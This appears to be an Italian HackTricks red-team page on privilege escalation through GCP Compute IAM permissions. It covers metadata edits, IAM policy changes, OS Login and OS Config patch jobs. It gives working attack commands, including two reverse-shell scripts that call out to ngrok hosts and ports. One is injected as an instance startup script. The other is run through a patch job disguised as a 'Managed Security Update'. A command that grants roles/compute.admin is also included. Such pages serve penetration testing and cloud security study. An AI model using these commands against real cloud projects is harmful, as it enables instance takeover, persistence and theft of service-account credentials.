GCP - Compute Privesc

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Compute

Per ulteriori informazioni su Compute e VPC (rete) in GCP controlla:

GCP - Compute Enum

caution

Nota che per eseguire tutti gli attacchi di escalation dei privilegi che richiedono di modificare i metadati dell'istanza (come aggiungere nuovi utenti e chiavi SSH) è necessario avere permessi actAs sul SA allegato all'istanza, anche se il SA è già allegato!

compute.projects.setCommonInstanceMetadata

Con quel permesso puoi modificare le informazioni di metadata di un'istanza e cambiare le chiavi autorizzate di un utente, o creare un nuovo utente con permessi sudo. Pertanto, sarai in grado di eseguire via SSH in qualsiasi istanza VM e rubare il GCP Service Account con cui l'istanza sta funzionando.
Limitazioni:

  • Nota che i GCP Service Accounts in esecuzione nelle istanze VM per impostazione predefinita hanno un ambito molto limitato
  • Dovrai essere in grado di contattare il server SSH per accedere

Per ulteriori informazioni su come sfruttare questo permesso controlla:

GCP - Add Custom SSH Metadata

Puoi anche eseguire questo attacco aggiungendo un nuovo startup-script e riavviando l'istanza:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Questo permesso offre gli stessi privilegi del permesso precedente ma su istanze specifiche invece che su un intero progetto. Gli stessi exploit e limitazioni della sezione precedente si applicano.

compute.instances.setIamPolicy

Questo tipo di permesso ti permetterà di assegnare a te stesso un ruolo con i permessi precedenti e di elevare i privilegi abusandone. Ecco un esempio di aggiunta di roles/compute.admin a un Service Account:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Se OSLogin è abilitato nell'istanza, con questo permesso puoi semplicemente eseguire gcloud compute ssh [INSTANCE] e connetterti all'istanza. Non avrai privilegi di root all'interno dell'istanza.

tip

Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso iam.serviceAccounts.actAs sul SA associato alla VM.

compute.instances.osAdminLogin

Se OSLogin è abilitato nell'istanza, con questo permesso puoi semplicemente eseguire gcloud compute ssh [INSTANCE] e connetterti all'istanza. Avrai privilegi di root all'interno dell'istanza.

tip

Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso iam.serviceAccounts.actAs sul SA associato alla VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

È possibile creare una macchina virtuale con un Service Account assegnato e rubare il token dell'account di servizio accedendo ai metadati per elevare i privilegi su di esso.

Lo script di exploit per questo metodo può essere trovato qui.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Se hai i permessi osconfig.patchDeployments.create o osconfig.patchJobs.exec puoi creare un lavoro di patch o distribuzione. Questo ti permetterà di muoverti lateralmente nell'ambiente e ottenere l'esecuzione di codice su tutte le istanze di calcolo all'interno di un progetto.

Nota che al momento non hai bisogno del permesso actAs sul SA associato all'istanza.

Se vuoi sfruttare manualmente questo, dovrai creare o un lavoro di patch o distribuzione.
Per un lavoro di patch esegui:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Per distribuire un'implementazione di patch:

bash
gcloud compute os-config patch-deployments create <name> ...

Lo strumento patchy potrebbe essere stato utilizzato in passato per sfruttare questa misconfigurazione (ma ora non funziona).

Un attaccante potrebbe anche abusare di questo per la persistenza.

compute.machineImages.setIamPolicy

Concediti permessi extra per l'immagine di calcolo.

compute.snapshots.setIamPolicy

Concediti permessi extra per uno snapshot del disco.

compute.disks.setIamPolicy

Concediti permessi extra per un disco.

Bypassare gli Scopi di Accesso

Seguendo questo link troverai alcune idee per provare a bypassare gli scopi di accesso.

Escalation Locale dei Privilegi in un'istanza GCP Compute

GCP - local privilege escalation ssh pivoting

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks